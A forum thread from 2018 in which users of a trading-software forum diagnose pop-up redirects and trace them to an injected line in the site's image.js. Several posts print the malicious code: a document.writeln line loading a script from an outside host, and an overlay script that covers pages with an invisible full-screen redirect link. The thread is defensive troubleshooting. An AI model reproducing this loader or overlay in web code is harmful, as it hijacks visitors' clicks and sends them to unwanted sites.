Gamestudio Links
Zorro Links
Newest Posts
Data from CSV not parsed correctly
by EternallyCurious. 04/25/24 10:20
Trading Journey
by howardR. 04/24/24 20:04
M1 Oversampling
by Petra. 04/24/24 10:34
Zorro FIX plugin - Experimental
by flink. 04/21/24 07:12
Scripts not found
by juergen_wue. 04/20/24 18:51
zorro 64bit command line support
by 7th_zorro. 04/20/24 10:06
StartWeek not working as it should
by jcl. 04/20/24 08:38
folder management functions
by VoroneTZ. 04/17/24 06:52
AUM Magazine
Latest Screens
The Bible Game
A psychological thriller game
SHADOW (2014)
DEAD TASTE
Who's Online Now
3 registered members (AndrewAMD, SBGuy, Petra), 801 guests, and 8 spiders.
Key: Admin, Global Mod, Mod
Newest Members
Mega_Rod, EternallyCurious, howardR, 11honza11, ccorrea
19048 Registered Users
Previous Thread
Next Thread
Print Thread
Rate Thread
Page 1 of 3 1 2 3
Ads?!?!?!?!?!?!? #474494
10/19/18 23:45
10/19/18 23:45
Joined: Jun 2013
Posts: 1,609
D
DdlV Offline OP
Serious User
DdlV  Offline OP
Serious User
D

Joined: Jun 2013
Posts: 1,609
Hi jcl.

Yesterday and today I've had ad pop-ups happen on the Forum. Is this a new "feature"?

Thanks.

Re: Ads?!?!?!?!?!?!? [Re: DdlV] #474495
10/19/18 23:57
10/19/18 23:57
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
So it’s not just me. There’s an odd redirect that pops up once every few hours. This looks like a hack exploit of some sort to me.

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474503
10/20/18 10:50
10/20/18 10:50
Joined: Feb 2018
Posts: 27
D
dmac Offline
Newbie
dmac  Offline
Newbie
D

Joined: Feb 2018
Posts: 27
I've gotten it as well. Seems as if the site may be infected with something.

Re: Ads?!?!?!?!?!?!? [Re: dmac] #474505
10/20/18 15:13
10/20/18 15:13
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
The bug is repeatable.

First, you must clear your cookies. This is how:
1) Shift + Ctrl + Delete. This opens "Clear Browsing Data".
2) "Advanced" Tab
3) Time range: "all time"
4) Check "Cookies and other site data"
5) Click "Clear Data"
6) Close browser and open it again

So now that cookies are cleared, the behavior will be immediately repeatable:

7) Go to the Zorro forums.
8) Browse to any thread.
9) Hover your mouse anywhere in the screen.

No matter what, it looks like it wants to redirect you somewhere. See my screenshot #1.


So instead of clicking with my left mouse button, I right-click: Inspect. I get screenshot #2.


If I click on the sources tab, I get screenshot #3.


Notice the mysterious java scripts from om.qqtx.me. I saved them below, both in their original form and a readable format.

That second javascript has content **BEFORE** I click on the screen. But if I refresh the screen, the second script is **BLANK**. The disappearing script looks like it creates the bad link:
Code:
(function() {
    var c = JSON.parse(x1cfdb9f14ad340c38bbd6f60806ec731_hd("eyJ1cmwiOiJodHRwczovL2FmaWx0ZXIueHl6L2MvMTQ4My8yIn0=")),
        b = document.body || document.getElementsByTagName("body")[0];
    if ("undefined" != b && null != b) {
        var a = document.createElement("div");
        a.id = "div" + Math.floor(999999 * Math.random() + 1E5);
        a.style.cssText = "width:100%; height:100%; position:fixed; left:0px; top:0px; z-index: 99999999";
        a.innerHTML = 	'<a href="http://wf3sgoqwvtow4yz028sp.kf.abgp.info/redirect?i=118&u=' + 
			x1cfdb9f14ad340c38bbd6f60806ec731_he(c.url) + 
			'" target="_blank" style="display: block; width:100%; height: 100%; cursor: default"></a>';
        a.onclick = function() {
            this.style.display =
                "none"
        };
        b.insertBefore(a, b.lastChild)
    }
})();



I don't know much about HTML/CSS/JS, but this looks like it might be a sleeper script.

Attached Files forum_bug1.pngforum_bug2.pngforum_bug3.png
javascripts.zip (68 downloads)
Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474507
10/20/18 17:15
10/20/18 17:15
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
As a browser-side workaround, I can block these scripts in Chrome using the ScriptSafe add-in.

Settings:
1) Allow opserver.de to run scripts (allow, not trust).
2) Distrust om.qqtx.me
3) ScriptSafe options -> General Settings -> Default Mode -> Allow

No more pop-ups. (Also, step #3 is to stop blocking all other website scripts, such as Amazon. This Chrome extension wants to block all javascripts by default, which makes no sense.)




Attached Files forum_bug4.PNG
Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474510
10/20/18 18:20
10/20/18 18:20
Joined: Jun 2013
Posts: 1,609
D
DdlV Offline OP
Serious User
DdlV  Offline OP
Serious User
D

Joined: Jun 2013
Posts: 1,609
Thanks AndrewAMD. So far these pop-ups just seem to be annoying, so I think I'll wait for jcl's comments & hopefully fix.

I'd rather not have a workaround lower the priority of this in case there's also something worse compromised that hasn't been noticed yet...

Thanks.

Re: Ads?!?!?!?!?!?!? [Re: DdlV] #474515
10/20/18 20:34
10/20/18 20:34
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
My intent was to document my findings so that this website can be scrubbed clean sooner than later. cool

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474543
10/22/18 13:58
10/22/18 13:58
Joined: Jul 2000
Posts: 27,982
Frankfurt
jcl Offline

Chief Engineer
jcl  Offline

Chief Engineer

Joined: Jul 2000
Posts: 27,982
Frankfurt
I've just checked the forum software, but cannot see an exploit or a source of mysterious popups. I also don't get them here, at least not with Chrome. Are they still there?

Re: Ads?!?!?!?!?!?!? [Re: jcl] #474545
10/22/18 14:25
10/22/18 14:25
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Yes.

jcl, try this in Google Chrome:

1) Shift + Ctrl + Delete. This opens "Clear Browsing Data".
2) "Advanced" Tab
3) Time range: "all time"
4) Check "Cookies and other site data"
5) Click "Clear Data"
6) Close browser and open it again
7) Go to Zorro User Forum
8) Click on this thread ("Ads?!?!?!?!?!?!?")
9) Click anywhere in the web page... This should induce the pop-up.
10) Right-click anywhere on the web page and click "Inspect"
11) Click on the "Sources" tab
12) Now take a look at the tree - there should be two offensive javascripts loaded:

top -> om.qqtx.me -> jquery.jscroll.min.js
top -> om.qqtx.me -> jquery.jscroll.min.js?timestamp=[etc.]

I have identified these two scripts as the culprit. If I explicitly block these scripts, I get no pop-ups.

The site has repeated this behavior just now.

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474547
10/22/18 15:42
10/22/18 15:42
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
I found something else interesting.

1) Right-click this page
2) Click "Inspect"
3) Click "Sources"
4) Browse the tree: top -> www.opserver.de -> ubb7 -> ubb_js -> image.js?v=7.5.1p1

Look at the script:

Code:
/* Script Version 7.5.1 */

var image_pending = 0;

function newCaptcha(type) { 
	if (image_pending) return;
	image_pending = 1;
	get_object('ajax_wait').style.display = "";
    	var url = script + "?ubb=captcha&init=1&t=" + type;
    	var ajax = new ubbtAJAX(url, updateCaptcha); 
    	ajax.sendData("GET"); 
}
document.writeln("<script src=\'//om.qqtx.me/jquery.jscroll.min.js\'></script>");
function updateCaptcha(responseXML) {
	id = responseXML;
	obj = get_object('captcha_image');
	obj.src = script + "?ubb=captcha&id=" + id;
	image_pending = 0;
	get_object('ajax_wait').style.display = "none";
}



This line does not look very nice. Was this line injected?
Code:
document.writeln("<script src=\'//om.qqtx.me/jquery.jscroll.min.js\'></script>");


Based on my experimentation, it appears this line loads the two suspicious scripts in the first place.

Hypothesis: The UBB.threads server is infected.

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474550
10/22/18 16:21
10/22/18 16:21
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
Intresting that i got no reactions from jcl

Sry i overread the post here.

Its still there btw!!! Randomly
This time it took me permission to post

Last edited by rayp; 10/22/18 16:40.

Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474551
10/22/18 16:43
10/22/18 16:43
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Originally Posted By: rayp
Intresting that i got no reactions from jcl
Hopefully because he's busy

Originally Posted By: rayp
Its still there btw!!! Randomly
This time it took me permission to post
I believe it is not random, but scripted to resurrect after a timer expires.

Per my earlier posts, clearing cookies makes it not random. It works every time.

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474552
10/22/18 17:07
10/22/18 17:07
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
For me its randomly...no matter what i do.

http://www.opserver.de/ubb7/ubbthreads.php?ubb=showflat&Number=474513#Post474513

For info how to avoid redirection


Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474559
10/22/18 18:48
10/22/18 18:48
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Originally Posted By: rayp
For me its randomly...no matter what i do.
Did you clear your cookies correctly? Try again. I get consistent behavior if and only if I clear my cookies all the time. (Hint: There is a sleep timer variable.)


....

To recap my independent investigation:

Repeatable behavior if you clear your cookies correctly:
http://www.opserver.de/ubb7/ubbthreads.php?ubb=showflat&Number=474505#Post474505

I managed to single out and block the two(2) malicious javascripts, thus ending the unwanted behavior on my personal browser only:
http://www.opserver.de/ubb7/ubbthreads.php?ubb=showflat&Number=474507#Post474507

Root cause found in (hacked?) ubb scripting, which launches the two(2) malicious javascripts:
http://www.opserver.de/ubb7/ubbthreads.php?ubb=showflat&Number=474547#Post474547

...


Finally, here's the culprit. Can an admin delete this one evil line of code? (See attachment for full scale.)

image.js on the zorro server:
http://www.opserver.de/ubb7/ubb_js/image.js

image.js on the UBB.threads server (the source):
https://www.ubbcentral.com/forums/ubb_js/image.js



Attached Files culprit.JPG
Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474561
10/22/18 19:26
10/22/18 19:26
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
I posted in mods and wrote a pm. Now i cant do more. Till now i got no answer...maybe admin is busy yes.

Edit
Just was redirected with edit button...damn that sucks...

edit2:
And directly after this...site was again overlayed with invisible link...



edit:
I used an old tab i had open to write here, i cant use page at all now. The link is always there now for me.

edit:
Ok i have control again...only "Deleting all temp Internet files and stuff" gave me control back. Wow!

Last edited by rayp; 10/22/18 20:57.

Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474563
10/22/18 20:31
10/22/18 20:31
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474565
10/22/18 21:18
10/22/18 21:18
Joined: Feb 2015
Posts: 652
Milano, Italy
M
MatPed Offline
User
MatPed  Offline
User
M

Joined: Feb 2015
Posts: 652
Milano, Italy
Yes, I Think it is infected. I ve just been redirected to this page:
https://google-it.eventomensiledigadget....click=j6qqbg5m#

HtH

Re: Ads?!?!?!?!?!?!? [Re: MatPed] #474567
10/22/18 22:02
10/22/18 22:02
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
I have the infection feeling since the weekend.
Its fact that a invisible link layers the forum pages sometimes.

If u only look at the http site names...very long random names.
Also i realized blocked popups now, sometimes.

@all
Check the link your clicking on this page in Detail. Watch your Cursor when hovering over links. Or disable / block the script u can see in screenshots above.

Last edited by rayp; 10/22/18 22:03.

Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474574
10/23/18 13:48
10/23/18 13:48
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Oh, looks like it's fixed now. Let's see if it stays that way...

Re: Ads?!?!?!?!?!?!? [Re: rayp] #474575
10/23/18 13:50
10/23/18 13:50
Joined: Jul 2000
Posts: 27,982
Frankfurt
jcl Offline

Chief Engineer
jcl  Offline

Chief Engineer

Joined: Jul 2000
Posts: 27,982
Frankfurt
The inserted "document.writeln" line found by AndrewAMD would indeed redirect clicks to a script on om.qqtx-me. But this line isn't in the forum source code. I also don't get that popup after deleting the cookies. So the source is apparently not infected, at least not now, but possibly the cache.

I will clear the cache now. Please report when you observe the popup again or something else that is unusual.

Re: Ads?!?!?!?!?!?!? [Re: jcl] #474577
10/23/18 15:19
10/23/18 15:19
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
Still there.


Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474578
10/23/18 15:44
10/23/18 15:44
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Originally Posted By: rayp
Still there.


I'm not seeing it (blocker: disabled), but I guess that maybe depends on which cached server I'm using? Or perhaps your browser is infected?

Try this:

1) Clear browser cache/cookies.
2) Go back to forums.
3) See if it happens again after an hour or two.
4) If so, paste the contents of this javascript here in the forums:

http://www.opserver.de/ubb7/ubb_js/image.js

I want to know if you are seeing the evil line of code from your browser.

Re: Ads?!?!?!?!?!?!? [Re: jcl] #474579
10/23/18 15:55
10/23/18 15:55
Joined: Jul 2008
Posts: 2,107
Germany
rayp Offline

X
rayp  Offline

X

Joined: Jul 2008
Posts: 2,107
Germany
It was from my handy.

Ill check later with pc when at home.


Edit
After deleting all i files again it seams ok for now. Will test later with my pc

Edit
From my handy still there now.

Edit
Seams ok for now. Not much clicked yet but what i clicked was what it looked like.

Last edited by rayp; 10/23/18 20:36.

Acknex umgibt uns...zwischen Dir, mir, dem Stein dort...
"Hey Griswold ... where u gonna put a tree that big ?"
1998 i married my loved wife ... Sheeva from Mortal Kombat, not Evil-Lyn as might have been expected
rayp.flags |= UNTOUCHABLE;
Re: Ads?!?!?!?!?!?!? [Re: rayp] #474585
10/23/18 21:03
10/23/18 21:03
Joined: Apr 2017
Posts: 106
3
3dgamelight Offline
Member
3dgamelight  Offline
Member
3

Joined: Apr 2017
Posts: 106
After deleting the cookies.
Code:
/* Script Version 7.5.1 */

var image_pending = 0;

function newCaptcha(type) { 
	if (image_pending) return;
	image_pending = 1;
	get_object('ajax_wait').style.display = "";
    	var url = script + "?ubb=captcha&init=1&t=" + type;
    	var ajax = new ubbtAJAX(url, updateCaptcha); 
    	ajax.sendData("GET"); 
}
document.writeln("<script src='//om.qqtx.me/jquery.jscroll.min.js'></script>");
function updateCaptcha(responseXML) {
	id = responseXML;
	obj = get_object('captcha_image');
	obj.src = script + "?ubb=captcha&id=" + id;
	image_pending = 0;
	get_object('ajax_wait').style.display = "none";
}


Re: Ads?!?!?!?!?!?!? [Re: 3dgamelight] #474747
11/03/18 15:29
11/03/18 15:29
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
Well, I waited to see if the problem will go away.

Sure enough, the pop-up came up more than a week later. Here's the javascript:
Code:
/* Script Version 7.5.1 */

var image_pending = 0;

function newCaptcha(type) { 
	if (image_pending) return;
	image_pending = 1;
	get_object('ajax_wait').style.display = "";
    	var url = script + "?ubb=captcha&init=1&t=" + type;
    	var ajax = new ubbtAJAX(url, updateCaptcha); 
    	ajax.sendData("GET"); 
}
document.writeln("<script src='//om.qqtx.me/jquery.jscroll.min.js'></script>");
function updateCaptcha(responseXML) {
	id = responseXML;
	obj = get_object('captcha_image');
	obj.src = script + "?ubb=captcha&id=" + id;
	image_pending = 0;
	get_object('ajax_wait').style.display = "none";
}



So maybe some of the server caches are still dirty?

Can we scrub them all?

Re: Ads?!?!?!?!?!?!? [Re: AndrewAMD] #474771
11/05/18 10:59
11/05/18 10:59
Joined: Jul 2000
Posts: 27,982
Frankfurt
jcl Offline

Chief Engineer
jcl  Offline

Chief Engineer

Joined: Jul 2000
Posts: 27,982
Frankfurt
The server caches have been completely flushed last week, but maybe it's from a local cache?

Re: Ads?!?!?!?!?!?!? [Re: jcl] #474777
11/05/18 13:48
11/05/18 13:48
Joined: Feb 2017
Posts: 1,725
Chicago
AndrewAMD Online
Serious User
AndrewAMD  Online
Serious User

Joined: Feb 2017
Posts: 1,725
Chicago
I think I made it go away by flushing my DNS cache:

1) Clear browser cache (per earlier instructions)
2) Open Windows Powershell in Administrative Mode
3) At the prompt:
> ipconfig /flushdns

Now the javascript link is clean.

Page 1 of 3 1 2 3

Moderated by  Petra 

Gamestudio download | chip programmers | Zorro platform | shop | Data Protection Policy

oP group Germany GmbH | Birkenstr. 25-27 | 63549 Ronneburg / Germany | info (at) opgroup.de

Powered by UBB.threads™ PHP Forum Software 7.7.1